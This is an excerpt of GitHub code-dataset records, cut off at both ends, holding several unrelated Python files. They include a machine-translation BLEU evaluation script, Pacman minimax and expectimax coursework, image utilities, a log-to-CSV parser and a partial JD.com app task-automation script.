ds['components']\n","repo_name":"nekogda/otus-algorithms","sub_path":"15-kosaraju/kosaraju-py/kosaraju/test/test_kosaraju.py","file_name":"test_kosaraju.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"3122141903","text":"import torch\nimport datasets\nimport transformers\nimport tqdm\n\n# Load WMT14 dataset to use in the task\ndef load_wmt14():\n    return datasets.load_dataset('wmt14', 'de-en')\n\n# Get SacreBLEU for metric evaluation\ndef load_sacrebleu():\n    return datasets.load_metric('sacrebleu')\n\n# Fetch pretrained model from huggingface\ndef get_pretrained(device=None):\n    tokenizer = transformers.AutoTokenizer.from_pretrained(\"google/bert2bert_L-24_wmt_de_en\")\n    model = transformers.AutoModelForSeq2SeqLM.from_pretrained(\"google/bert2bert_L-24_wmt_de_en\")\n    if device is not None:\n        model = model.to(device)\n    return tokenizer, model\n\n# Sample translation process for huggingface transformer\ndef dummy_pretrain(tok, model, tl=None, device='cpu'):\n    if tl is None:\n        tl = [\"Wiederaufnahme der Sitzungsperiode\"]\n    inputs = tok(tl, return_tensors=\"pt\", add_special_tokens=False, padding=True)\n    iids = inputs.input_ids.to(device)\n    iids[iids == 31951] = 0\n    oids = model.generate(iids)\n    outputs = [tok.decode(torch.LongTensor([_ for _ in oos if _ != 1 and _ != 2]), skip_special_tokens=True) for oos in oids]\n    outputs = [\" \".join([_ for _ in out.split() if _ != \"<pad>\"]) for out in outputs]\n    return outputs\n\n# Using the test split from data and a lambda of de -> en, get bleu stats\ndef evaluate(data, make_translate_lambda, batch_size=10, limit=None):\n    refs, candidates = [], []\n    examples = len(data)\n    # set up batching\n    dataloader = torch.utils.data.DataLoader(data, batch_size=batch_size)\n    if limit is not None:\n        end = min(data.num_rows, limit)\n        if end == 0:\n            return None\n        # rephrase limit in batched terms\n        limit = ((batch_size-1)+end) // batch_size\n    else:\n        limit = len(dataloader)\n    eval_bar = tqdm.auto.tqdm(range(limit), desc='Evaluation: ', leave=False)\n    errors = 0\n    for idx, tl_pair in enumerate(dataloader):\n        if limit is not None and idx >= limit:\n            break\n        try:\n            translation = make_translate_lambda(tl_pair['translation']['de'])\n            if type(translation) is str:\n                predicted_candidates = [translation]\n            else:\n                predicted_candidates = [[_] for _ in translation]\n        except IndexError:\n            errors = errors + 1\n            eval_bar.set_postfix(can_len=len(candidates), ref_len=len(refs), errors=errors)\n            eval_bar.update(1)\n            continue\n        candidates.extend(predicted_candidates)\n        refs.extend([[_] for _ in tl_pair['translation']['en']])\n        eval_bar.set_postfix(can_len=len(candidates), ref_len=len(refs), errors=errors)\n        eval_bar.update(1)\n    bleu_scorer = load_sacrebleu()\n    print()\n    return bleu_scorer.compute(predictions=candidates, references=refs)\n\n# When run as a script, use the pretrained model as a means to skip training\ndef main():\n    import argparse\n    prs = argparse.ArgumentParser()\n    prs.add_argument('-limit', type=int, default=None, help='Maximum number of examples to evaluate')\n    prs.add_argument('-batch-size', type=int, default=10, help='Number of examples to translate in batches')\n    args = prs.parse_args()\n    # Select device\n    device = 'cpu' if not torch.cuda.is_available() else 'cuda:0'\n    if device == 'cpu':\n        print(f\"Warning! Running on CPU!\")\n    # Fetch dataset\n    data = load_wmt14()\n    # Load pretrained model\n    tokenizer, model = get_pretrained(device=device)\n    # Final evaluation\n    pretrain_translator = lambda de: dummy_pretrain(tokenizer, model, tl=de, device=device)\n    print(f\"[DE (input)]: Wiederaufnahme der Sitzungsperiode\")\n    print(f\"[EN (truth)]: Resumption of the Session\")\n    print(f\"[EN (model)]: {dummy_pretrain(tokenizer, model, device=device)}\")\n    print(evaluate(data['test'], pretrain_translator, batch_size=args.batch_size, limit=args.limit))\n\nif __name__ == '__main__':\n    main()\n\n","repo_name":"tlranda/8420-FP","sub_path":"src/transformers/evaluation_pipeline.py","file_name":"evaluation_pipeline.py","file_ext":"py","file_size_in_byte":3909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41856600696","text":"import numpy as np\n\nimport chainer \nfrom chainer import cuda, Function, Variable, optimizers, initializers, Link, Chain\nimport chainer.functions as F\nimport chainer.links as L\n\nclass Graph():\n\tadj_list = []\n\tdelta = []\n\ndef build_weights(self, params):\n\tinitializer = chainer.initializers.HeNormal()\n\t#setattr(self, 'params', params,)\n\n\t'''hidden_weight '''\n\tnum_indicator = params['num_features']\n\tsetattr(self, 'self_activation', L.Linear(num_indicator, num_indicator, initialW=initializer))\n\t\t\t\t\t\n\t'''adj_weight'''\n\tsetattr(self, 'adj_weight', L.Linear(2 * num_indicator, num_indicator, initialW=initializer))\n\n\nclass SGC(Chain):\n\tdef __init__(self, params):\n\t\tsuper(SGC,self).__init__()\n\t\twith self.init_scope():\n\t\t\tbuild_weights(self,params)\n\t\t\t\t\n\tdef __call__(self, x, stock_data, params):\n\n\t\tdef read_features(self, graph):\n\t\t\tadj_list = []\n\t\t\tcode_features = []\n\t\t\tfor i in range(len(graph)):\n\t\t\t\tadj_list.append(graph[i].adj_list)\n\t\t\tfor i in range(len(graph)):\n\t\t\t\tcode_feature = []\n\t\t\t\tfor j in range(len(adj_list[i])):\n\t\t\t\t\tcode_feature.append(stock_data[str(adj_list[i][j])])\n\t\t\t\tcode_features.append(code_feature)\n\t\t\t\n\t\t\tnumpy_code_features = np.empty((len(code_features),len(code_features[0]),len(code_features[0][0]),1), dtype=np.float32)\n\t\t\tfor i in range(len(code_features)):\n\t\t\t\tfor j in range(len(code_features[i])):\n\t\t\t\t\tfor k in range(len(code_features[i][j])):\n\t\t\t\t\t\tnumpy_code_features[i][j][k] = code_features[i][j][k]\n\t\t\treturn numpy_code_features, adj_list\n\t\t\n\t\tdef update_layer(self, code_features, adj_list):#未完\n\t\t\thidden_weight = eval('self.self_activation')\n\t\t\tprint((code_features))\n\t\t\tself_activation_features = hidden_weight(code_features)\n\t\t\t#print((code_features))\n\t\t\t#self_activation_features = hidden_weight(code_features)\n\t\t\tadj_weight = eval('self.adj_weight')\n\t\t\tret = []\n\t\t\tfor i in range(len(adj_list)): #nodeのID\n\t\t\t\tf0 = F.concat((self_activation_features[i], self_activation_features[i]), axis=0)\n\t\t\t\tf1 = F.expand_dims(f0,axis=0)\n\t\t\t\tf2 = F.relu(adj_weight(f1))\n\t\t\t\tpooling_feature = f2\n\t\t\t\tfor j in range(len(adj_list[i])-1):# i 番目のノードの隣接する数\n\t\t\t\t\tfor k in range(len(adj_list)):\n\t\t\t\t\t\tif (adj_list[k][0] == adj_list[j+1]):\n\t\t\t\t\t\t\tf0 = F.concat((self_activation_features[i], self_activation_features[adj_list[j+1]]), axis=0)\n\t\t\t\t\t\t\tf1 = F.expand_dims(f0,axis=0)\n\t\t\t\t\t\t\tpooling_feature = pooling_feature + F.relu(adj_weight(f1))\n\t\t\t\tpooling_feature = pooling_feature / len(adj_list[i])\n\t\t\t\t#ret.append(pooling_feature)\n\t\t\treturn ret[0]\n\n\n\t\t\n\t\tdef daily_features_func(self, graphs):\n\t\t\tcode_features, adj_list= read_features(self, graphs)\n\t\t\tfor layer in range(params['gnn_layers']):\n\t\t\t\tret = []\n\t\t\t\tfor i in range(len(code_features)):\n\t\t\t\t\tcode_features = update_layer(self, code_features, adj_list)\n\t\t\t\t\tret.append(code_features[i])\n\t\t\t\tcode_features = ret\n\t\t\treturn code_features, adj_lists\n\t\tdaily_features, adj_lists = daily_features_func(self,x)\n\t\treturn daily_features, adj_lists\n","repo_name":"fdclskp/fdc","sub_path":"kicchi/sample/GraphConv/SGC.py","file_name":"SGC.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72048364992","text":"from typing import List\nimport os\nfrom chardet.universaldetector import UniversalDetector\n\n# 获取文件的编码信息\ndef get_encode_info(file):\n    with open(file, 'rb') as f:\n        detector = UniversalDetector()\n        for line in f.readlines():\n            detector.feed(line)\n            if detector.done:\n                break\n    detector.close()\n    return detector.result['encoding']\n\n\ndef getSection(name:str ,file_name: str, replace_name:dict) -> List[str]:\n    # 获取txt文件编码，\n    # 若之前以及判断过该书籍的编码，则保存在一个txt文档中\n    # 减少判断书籍编码所耗费的大量时间\n    if os.path.isfile(\"./static/book/\"+name+\"/encode.txt\"):\n        encode_f = open(\"./static/book/\"+name+\"/encode.txt\", \"r\")\n        encode_info = encode_f.readlines()\n        encode_f.close()\n    else:\n        encode_info = get_encode_info(file_name)\n        new_encode_f = open(\"./static/book/\"+name+\"/encode.txt\", \"w\")\n        new_encode_f.write(encode_info)\n        new_encode_f.close()\n\n    print(encode_info)\n\n    # 根据判断处的编码信息重新打开文件\n    f = open(file_name, \"r\",encoding=str(encode_info),errors='ignore')\n\n    sentence = []\n    for line in f.readlines():\n        line = line.replace(u'\\n', u'').replace(u'\\u3000', u'').replace(u'    ',u'')\n        if line == '':\n            continue\n        # 将段落中的旧词替换为新词\n        for oldc,newc in replace_name.items():\n            line = line.replace(oldc, newc)\n        # 用句号来划分不太合理，应使用段落来进行划分\n        # line_cut = line.split(\"。\")\n        # sentence += line_cut\n        # print(line)\n        # 段落分\n        sentence.append(line)\n    return sentence\n","repo_name":"Yuasin/AD-of-character-relations","sub_path":"visualSys/analysis/processCorpus.py","file_name":"processCorpus.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"6464547608","text":"# multiAgents.py\n# --------------\n# Licensing Information:  You are free to use or extend these projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to UC Berkeley, including a link to http://ai.berkeley.edu.\n# \n# Attribution Information: The Pacman AI projects were developed at UC Berkeley.\n# The core projects and autograders were primarily created by John DeNero\n# (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# Student side autograding was added by Brad Miller, Nick Hay, and\n# Pieter Abbeel (pabbeel@cs.berkeley.edu).\n\n\nfrom util import manhattanDistance\nfrom game import Directions\nimport random, util\n\nfrom game import Agent\n\nclass ReflexAgent(Agent):\n    \"\"\"\n      A reflex agent chooses an action at each choice point by examining\n      its alternatives via a state evaluation function.\n\n      The code below is provided as a guide.  You are welcome to change\n      it in any way you see fit, so long as you don't touch our method\n      headers.\n    \"\"\"\n\n\n    def getAction(self, gameState):\n        \"\"\"\n        You do not need to change this method, but you're welcome to.\n\n        getAction chooses among the best options according to the evaluation function.\n\n        Just like in the previous project, getAction takes a GameState and returns\n        some Directions.X for some X in the set {North, South, West, East, Stop}\n        \"\"\"\n        # Collect legal moves and successor states\n        legalMoves = gameState.getLegalActions()\n        # print(legalMoves)\n        # Choose one of the best actions\n        scores = [self.evaluationFunction(gameState, action) for action in legalMoves]\n        bestScore = max(scores)\n        bestIndices = [index for index in range(len(scores)) if scores[index] == bestScore]\n        # print(\"best indices: {}\".format(bestIndices))\n        # print(\"best scores: {}\".format(bestScore))\n        chosenIndex = random.choice(bestIndices) # Pick randomly among the best\n        # raw_input(\"chosenIndex: {}\".format(chosenIndex))\n\n        \"\"\"Add more of your code here if you want to\"\"\"\n\n        return legalMoves[chosenIndex]\n\n    def evaluationFunction(self, currentGameState, action):\n        \"\"\"\n        Design a better evaluation function here.\n\n        The evaluation function takes in the current and proposed successor\n        GameStates (pacman.py) and returns a number, where higher numbers are better.\n\n        The code below extracts some useful information from the state, like the\n        remaining food (newFood) and Pacman position after moving (newPos).\n        newScaredTimes holds the number of moves that each ghost will remain\n        scared because of Pacman having eaten a power pellet.\n\n        Print out these variables to see what you're getting, then combine them\n        to create a masterful evaluation function.\n        \"\"\"\n        # Useful information you can extract from a GameState (pacman.py)\n        successorGameState = currentGameState.generatePacmanSuccessor(action)\n        newPos = successorGameState.getPacmanPosition()\n        newFood = successorGameState.getFood()\n        oldFood = currentGameState.getFood()\n        newGhostStates = successorGameState.getGhostStates()\n        newScaredTimes = [ghostState.scaredTimer for ghostState in newGhostStates]\n        oldPellets = currentGameState.getCapsules()\n        newPellets = successorGameState.getCapsules()\n\n        #moving onto a food pellet is preferable to not moving onto a food pellet\n        #moving onto a line of food pellets is even more preferable\n        #being far way from a ghost is preferable\n        #unless the ghost is scared, then being close to the ghost is preferable because we might eat\n        \"*** YOUR CODE HERE ***\"\n        directions = [-1, 0, 1]\n        foodList = newFood.asList()\n        #moving decreases the score by 1\n        #eating increase the score by 10\n        score = 10 * (oldFood[newPos[0]][newPos[1]] or newFood[newPos[0]][newPos[1]]) #start off with a score of 10 if we just ate a food pellet\n        \n        closestDist = float('inf')\n        for food in foodList:\n          dist = util.manhattanDistance(food, newPos)\n          if dist < closestDist:\n            closestDist = dist\n        if closestDist == float('inf'):\n          #this means that the move we make eats the last dot\n          score = 1000\n        else:\n          if (10 - closestDist) > 0:\n            score += (10 - closestDist)\n\n        for ghostState in newGhostStates:\n          ghostPos = ghostState.getPosition()\n          if ghostPos == newPos:\n            score += -1000\n          else:\n            for dx in directions:\n              for dy in directions:\n                if (ghostPos[0]+dx, ghostPos[1]+dy) == newPos:\n                  score += -500\n\n        return score + (100 * (len(oldPellets) - len(newPellets)))\n\ndef scoreEvaluationFunction(currentGameState):\n    \"\"\"\n      This default evaluation function just returns the score of the state.\n      The score is the same one displayed in the Pacman GUI.\n\n      This evaluation function is meant for use with adversarial search agents\n      (not reflex agents).\n    \"\"\"\n    return currentGameState.getScore()\n\nclass MultiAgentSearchAgent(Agent):\n    \"\"\"\n      This class provides some common elements to all of your\n      multi-agent searchers.  Any methods defined here will be available\n      to the MinimaxPacmanAgent, AlphaBetaPacmanAgent & ExpectimaxPacmanAgent.\n\n      You *do not* need to make any changes here, but you can if you want to\n      add functionality to all your adversarial search agents.  Please do not\n      remove anything, however.\n\n      Note: this is an abstract class: one that should not be instantiated.  It's\n      only partially specified, and designed to be extended.  Agent (game.py)\n      is another abstract class.\n    \"\"\"\n\n    def __init__(self, evalFn = 'scoreEvaluationFunction', depth = '2'):\n        self.index = 0 # Pacman is always agent index 0\n        self.evaluationFunction = util.lookup(evalFn, globals())\n        self.depth = int(depth)\n\nclass MinimaxAgent(MultiAgentSearchAgent):\n    \"\"\"\n      Your minimax agent (question 2)\n    \"\"\"\n\n    def max_value(self, agentIndex, depth, gameState):\n      if gameState.isWin() or gameState.isLose() or depth == 0:\n        return self.evaluationFunction(gameState), None\n      legalActions = gameState.getLegalActions(agentIndex)\n      bestScore = float('-inf')\n      bestAction = legalActions[0]\n      nextAgent = (agentIndex + 1) % gameState.getNumAgents()\n      for legalAction in legalActions:\n        successor = gameState.generateSuccessor(agentIndex, legalAction)\n        score, action = self.min_value(nextAgent, depth, successor)\n        bestScore = max(score, bestScore)\n        if score == bestScore:\n          bestAction = legalAction\n      return bestScore, bestAction\n\n    \n    def min_value(self, agentIndex, depth, gameState):\n      if gameState.isWin() or gameState.isLose(): # or (depth == 1 and agentIndex + 1 == gameState.getNumAgents()):\n        return self.evaluationFunction(gameState), None\n\n      legalActions = gameState.getLegalActions(agentIndex)\n      bestScore = float('inf')\n      nextAgent = (agentIndex + 1) % gameState.getNumAgents()\n      for legalAction in legalActions:\n        successor = gameState.generateSuccessor(agentIndex, legalAction)\n        if nextAgent == 0:\n          score, action = self.max_value(nextAgent, depth - 1, successor)\n        else:\n          score, action = self.min_value(nextAgent, depth, successor)\n        bestScore = min(score, bestScore)\n      return bestScore, None\n\n\n    def getAction(self, gameState):\n        \"\"\"\n          Returns the minimax action from the current gameState using self.depth\n          and self.evaluationFunction.\n\n          Here are some method calls that might be useful when implementing minimax.\n\n          gameState.getLegalActions(agentIndex):\n            Returns a list of legal actions for an agent\n            agentIndex=0 means Pacman, ghosts are >= 1\n\n          gameState.generateSuccessor(agentIndex, action):\n            Returns the successor game state after an agent takes an action\n\n          gameState.getNumAgents():\n            Returns the total number of agents in the game\n        \"\"\"\n        agentIndex = 0\n        return self.max_value(agentIndex, self.depth, gameState)[1]\n\n        util.raiseNotDefined()\n\nclass AlphaBetaAgent(MultiAgentSearchAgent):\n    \"\"\"\n      Your minimax agent with alpha-beta pruning (question 3)\n    \"\"\"\n    def max_value(self, agentIndex, depth, gameState, alpha, beta):\n      if gameState.isWin() or gameState.isLose() or depth == 0:\n        return self.evaluationFunction(gameState), None\n      legalActions = gameState.getLegalActions(agentIndex)\n      bestScore = float('-inf')\n      bestAction = legalActions[0]\n      nextAgent = (agentIndex + 1) % gameState.getNumAgents()\n      for legalAction in legalActions:\n        successor = gameState.generateSuccessor(agentIndex, legalAction)\n        score, action = self.min_value(nextAgent, depth, successor, alpha, beta)\n        bestScore = max(score, bestScore)\n        if score == bestScore:\n          bestAction = legalAction\n        if bestScore > beta:\n          return bestScore, bestAction\n        alpha = max(alpha, bestScore)\n      return bestScore, bestAction\n\n    \n    def min_value(self, agentIndex, depth, gameState, alpha, beta):\n      if gameState.isWin() or gameState.isLose(): # or (depth == 1 and agentIndex + 1 == gameState.getNumAgents()):\n        return self.evaluationFunction(gameState), None\n\n      legalActions = gameState.getLegalActions(agentIndex)\n      bestScore = float('inf')\n      nextAgent = (agentIndex + 1) % gameState.getNumAgents()\n      for legalAction in legalActions:\n        successor = gameState.generateSuccessor(agentIndex, legalAction)\n        if nextAgent == 0:\n          score, action = self.max_value(nextAgent, depth - 1, successor, alpha, beta)\n        else:\n          score, action = self.min_value(nextAgent, depth, successor, alpha, beta)\n        bestScore = min(score, bestScore)\n        if bestScore < alpha:\n          return bestScore, None\n        beta = min(beta, bestScore)\n      return bestScore, None\n\n    def getAction(self, gameState):\n      agentIndex = 0\n      alpha = float('-inf')\n      beta = float('inf')\n      return self.max_value(agentIndex, self.depth, gameState, alpha, beta)[1]\n\n      util.raiseNotDefined()\n\nclass ExpectimaxAgent(MultiAgentSearchAgent):\n    \"\"\"\n      Your expectimax agent (question 4)\n    \"\"\"\n\n    def max_value(self, agentIndex, depth, gameState):\n      if gameState.isWin() or gameState.isLose() or depth == 0:\n        return float(self.evaluationFunction(gameState)), None\n      legalActions = gameState.getLegalActions(agentIndex)\n      bestScore = float('-inf')\n      bestAction = legalActions[0]\n      nextAgent = (agentIndex + 1) % gameState.getNumAgents()\n      for legalAction in legalActions:\n        successor = gameState.generateSuccessor(agentIndex, legalAction)\n        score, action = self.exp_value(nextAgent, depth, successor)\n        bestScore = max(score, bestScore)\n        if score == bestScore:\n          bestAction = legalAction\n      return bestScore, bestAction\n\n    \n    def exp_value(self, agentIndex, depth, gameState):\n      if gameState.isWin() or gameState.isLose(): # or (depth == 1 and agentIndex + 1 == gameState.getNumAgents()):\n        return float(self.evaluationFunction(gameState)), None\n\n      legalActions = gameState.getLegalActions(agentIndex)\n      scores = []\n      nextAgent = (agentIndex + 1) % gameState.getNumAgents()\n      for legalAction in legalActions:\n        successor = gameState.generateSuccessor(agentIndex, legalAction)\n        if nextAgent == 0:\n          score, action = self.max_value(nextAgent, depth - 1, successor)\n        else:\n          score, action = self.exp_value(nextAgent, depth, successor)\n        scores.append(score)\n      return sum(scores)/len(scores), None\n\n\n    def getAction(self, gameState):\n        \"\"\"\n          Returns the minimax action from the current gameState using self.depth\n          and self.evaluationFunction.\n\n          Here are some method calls that might be useful when implementing minimax.\n\n          gameState.getLegalActions(agentIndex):\n            Returns a list of legal actions for an agent\n            agentIndex=0 means Pacman, ghosts are >= 1\n\n          gameState.generateSuccessor(agentIndex, action):\n            Returns the successor game state after an agent takes an action\n\n          gameState.getNumAgents():\n            Returns the total number of agents in the game\n        \"\"\"\n        agentIndex = 0\n        return self.max_value(agentIndex, self.depth, gameState)[1]\n\ndef betterEvaluationFunction(currentGameState):\n    \"\"\"\n      Your extreme ghost-hunting, pellet-nabbing, food-gobbling, unstoppable\n      evaluation function (question 5).\n\n      DESCRIPTION: This evaluation function wound up being very similar to the reflex agent minus. \n      First, check if the state is terminal. I'm not actually sure if this condition will ever pass because I\n      check the condition in my search methods, but better safe than sorry.\n\n      I decided that the most important thing in the game was to eat all of the food and that it wouldn't be worth\n      time to chase after pellets or ghosts unless they were very close by.\n\n      I use the score function as the base for my evaluation function and will add up to 10 to find the nearest food, since eat\n      ing a food increases the score by 10.\n\n      I then find the closest ghost. If they are more not within our immediate vicinity we don't care about them. If they are\n      right next to use, then we avoid them if they are not scared, and eat them if they are scared. \n\n      lastly, subtract the score by the number of remaining pellets * 100 (I'm not sure if any of the numbers I chose for these \n      constants matter a whole lot, but they are what I decided to go with). Subtracting pellets from the score means that we will\n      always eat a pellet if we have the chance, but won't worry about hunting them down if we don't have the chance.\n    \"\"\"\n    pos = currentGameState.getPacmanPosition()\n    foodList = currentGameState.getFood().asList()\n    ghostStates = currentGameState.getGhostStates()\n    scaredTimes = [ghostState.scaredTimer for ghostState in ghostStates]\n    pellets = currentGameState.getCapsules()\n    #moving onto a food pellet is preferable to not moving onto a food pellet\n    #moving onto a line of food pellets is even more preferable\n    #being far way from a ghost is preferable\n    #unless the ghost is scared, then being close to the ghost is preferable because we might eat\n    \"*** YOUR CODE HERE ***\"\n    directions = [-1, 0, 1]\n    #moving decreases the score by 1\n    #eating increase the score by 10\n    # score = 10 * (oldFood[newPos[0]][newPos[1]] or newFood[newPos[0]][newPos[1]]) #start off with a score of 10 if we just ate a food pellet\n    if currentGameState.isWin():\n      return float('inf')\n    elif currentGameState.isLose():\n      return float('-inf')\n\n    closestDist = float('inf')\n    score = currentGameState.getScore()\n    for food in foodList:\n      dist = util.manhattanDistance(food, pos)\n      if dist < closestDist:\n        closestDist = dist\n    if (10 - closestDist) > 0:\n      score += (10 - closestDist)\n\n    for ghostState in ghostStates:\n      ghostPos = ghostState.getPosition()\n      for dx in directions:\n        for dy in directions:\n          if (ghostPos[0]+dx, ghostPos[1]+dy) == pos:\n            if ghostState.scaredTimer == 0:\n              score += -500\n            else:\n              score += 500 \n\n    score -= 100 * len(pellets)\n    return score\n    util.raiseNotDefined()\n\n# Abbreviation\nbetter = betterEvaluationFunction\n\n","repo_name":"pbmuller/CSE5522","sub_path":"multiagent/multiAgents.py","file_name":"multiAgents.py","file_ext":"py","file_size_in_byte":15918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71249731070","text":"import cv2\nimport numpy as np\nimport torch\n\n\ndef resize_to_resolution(im, downsample_size):\n    if max(im.shape[0], im.shape[1]) > downsample_size:\n        # downsampling\n        if im.shape[0] > im.shape[1]:\n            dsize = ((downsample_size * im.shape[1]) // im.shape[0], downsample_size)\n        else:\n            dsize = (downsample_size, (downsample_size * im.shape[0]) // im.shape[1])\n        im = cv2.resize(im, dsize, interpolation=cv2.INTER_AREA)\n\n    return im\n\n\ndef expand_mask(mask, kernel_size, n_iter=1):\n    kernel = np.ones((kernel_size, kernel_size), np.uint8)\n    return cv2.dilate(mask, kernel, iterations=n_iter)\n\n\ndef shrink_mask(mask, kernel_size, n_iter=1):\n    kernel = np.ones((kernel_size, kernel_size), np.uint8)\n    return cv2.erode(mask, kernel, iterations=n_iter)\n\n\ndef convert_to_8bpp(arr_float):\n    return np.clip(arr_float, 0, 255).astype(np.uint8)\n\n\ndef image_to_tensor(img: np.ndarray, unsqueeze: bool) -> torch.Tensor:\n    \"\"\"\n    Converts 8 bit BGR image [H, W, C] to 32-bit RGB float tensor [1, C, H, W]\n    :param img: 8 bit BGR image to convert.\n    :param unsqueeze: True to add extra batch dimension\n    :return: torch tensor [1, C, H, W] float 32 [0..1]\n    \"\"\"\n    img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\n    img = torch.from_numpy(img)\n    img = img.permute(2, 0, 1)\n    if unsqueeze:\n        img = img.unsqueeze(0)\n    img = img.to(torch.float32) / 255.\n    return img","repo_name":"kirill-sidorchuk/lego_detector_pt","sub_path":"ImageUtils.py","file_name":"ImageUtils.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"86669920639","text":"import csv\n\nruntimes = []\nrb = []\nmems = []\nmb = []\nallocs = []\nab = []\nwith open('log.raw', 'r') as f:\n    lines = f.readlines()\n    # print(lines)\n\nfor idx in range(len(lines)):\n    if idx % 10 < 5 or 8 < idx % 10:\n        continue\n\n    ss = lines[idx].split()\n    if idx % 10 < 8:\n        rb.append(ss[2])\n        mb.append(ss[4])\n        ab.append(ss[6])\n        continue\n    \n    runtimes.append(rb)\n    mems.append(mb)\n    allocs.append(ab)\n    rb = []\n    mb = []\n    ab = []    \n\nwith open('log_runtime.csv', 'w') as f:\n    writer = csv.writer(f)\n    writer.writerow(['withOp', 'withJoin', 'withBytes', 'withBytesSetCap'])\n    for data in runtimes:\n        writer.writerow(data)\n\nwith open('log_memories.csv', 'w') as f:\n    writer = csv.writer(f)\n    writer.writerow(['withOp', 'withJoin', 'withBytes', 'withBytesSetCap'])\n    for data in mems:\n        writer.writerow(data)\n\nwith open('log_allocates.csv', 'w') as f:\n    writer = csv.writer(f)\n    writer.writerow(['withOp', 'withJoin', 'withBytes', 'withBytesSetCap'])\n    for data in allocs:\n        writer.writerow(data)\n","repo_name":"task4233/string-test","sub_path":"justify.py","file_name":"justify.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34712783742","text":"import requests\nimport time\nimport json\nimport jdCookie\n\n\n\"\"\"\n种豆得豆\n\n1、plantUuid 为自己的助力码，但是需要别人为自己助力\n2、cron 35 6-23 * * *\n\"\"\"\n\nplantUuid = [\"7pt22jcko7ljrbpeask7r6avre3h7wlwy7o5jii\",\n             \"r7zdf2yfo4phlpel3nu4q63reu\",\n             \"e7lhibzb3zek2ssdsoyhpgn26va7nkkzj6ygely\"]  # 填写别人的助力码\n\ndef functionTemplate(cookies, functionId, body):\n    headers = {\n        'Host': 'api.m.jd.com',\n        'Accept': '*/*',\n        'Connection': 'keep-alive',\n        'User-Agent': 'JD4iPhone/167283 (iPhone;iOS 13.5.1;Scale/3.00)',\n        'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9',\n        'Accept-Encoding': 'gzip, deflate, br',\n        'Content-Type': \"application/x-www-form-urlencoded\"\n    }\n    if \"version\" not in body:\n        body[\"version\"] = \"9.0.0.1\"\n    body[\"monitor_source\"] = \"plant_app_plant_index\"\n    body[\"monitor_refer\"] = \"\"\n    params = (\n        ('functionId', functionId),\n        ('body', json.dumps(body)),\n        ('appid', 'ld'),\n    )\n    response = requests.get('https://api.m.jd.com/client.action',\n                            headers=headers, params=params, cookies=cookies)\n    return response.json()\n\n\ndef postTemplate(cookies, functionId, body):\n    headers = {\n        'Host': 'api.m.jd.com',\n        'Accept': '*/*',\n        'Connection': 'keep-alive',\n        'User-Agent': 'JD4iPhone/167283 (iPhone;iOS 13.5.1;Scale/3.00)',\n        'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9',\n        'Accept-Encoding': 'gzip, deflate, br',\n        'Content-Type': \"application/x-www-form-urlencoded\"\n    }\n    params = (\n        ('functionId', functionId),\n    )\n    body[\"version\"] = \"9.0.0.1\"\n    body[\"monitor_source\"] = \"plant_app_plant_index\"\n    body[\"monitor_refer\"] = \"\"\n\n    data = {\n        'area': '5_274_49707_49973',\n        'body': json.dumps(body),\n        'appid': 'ld',\n        'build': '167283',\n        'client': 'apple',\n        'clientVersion': '9.0.4',\n    }\n    response = requests.post('https://api.m.jd.com/client.action',\n                             headers=headers, params=params, cookies=cookies, data=data)\n    return response.json()\n\n\ndef takeTask(cookies, taskList):\n    for i in taskList:\n        if i[\"isFinished\"] == 1:\n            continue\n        print(i[\"taskName\"])\n        if i[\"dailyTimes\"] == 1 and i[\"taskType\"] != 8:  # 不含评价\n            # print(i)\n            taskResult = functionTemplate(cookies, \"receiveNutrientsTask\", {\n                \"monitor_refer\": \"receiveNutrientsTask\", \"awardType\": str(i[\"taskType\"])})\n            print(taskResult)\n            time.sleep(2)\n\n        if i[\"taskType\"] == 3:\n            print(\"浏览店铺\")\n            N = int(i[\"totalNum\"])-int(i[\"gainedNum\"])\n            plant_shopList = functionTemplate(cookies, \"shopTaskList\", {\n                                              \"monitor_refer\": \"plant_receiveNutrients\"})[\"data\"]\n            goodShopList = [\n                i for i in plant_shopList[\"goodShopList\"] if i[\"taskState\"] == \"2\"]\n            moreShopList = [\n                i for i in plant_shopList[\"moreShopList\"] if i[\"taskState\"] == \"2\"]\n            shopList = goodShopList + moreShopList\n            for shop in shopList:\n                shopTaskId = shop[\"shopTaskId\"]\n                shopId = shop[\"shopId\"]\n                result = functionTemplate(cookies, \"shopNutrientsTask\", {\n                                          \"monitor_refer\": \"plant_shopNutrientsTask\", \"shopId\": str(shopId), \"shopTaskId\": str(shopTaskId)})\n                print(result)\n                if \"data\" in result:\n                    if result[\"data\"][\"nutrState\"] == \"1\":\n                        N -= 1\n                if N == 0:\n                    break\n                time.sleep(1)\n        if i[\"taskType\"] == 10:\n            print(\"关注频道\")\n            N = int(i[\"totalNum\"])-int(i[\"gainedNum\"])\n            plant_ChannelList = functionTemplate(\n                cookies, \"plantChannelTaskList\", {})[\"data\"]\n            goodChannelList = [\n                i for i in plant_ChannelList[\"goodChannelList\"] if i[\"taskState\"] == \"2\"]\n            normalChannelList = [\n                i for i in plant_ChannelList[\"normalChannelList\"] if i[\"taskState\"] == \"2\"]\n            channelList = goodChannelList+normalChannelList\n\n            for channel in channelList:\n                result = functionTemplate(cookies, \"plantChannelNutrientsTask\", {\"channelTaskId\": channel[\"channelTaskId\"], \"channelId\": channel[\"channelId\"]\n                                                                                 })\n                print(result)\n                if \"data\" in result:\n                    if 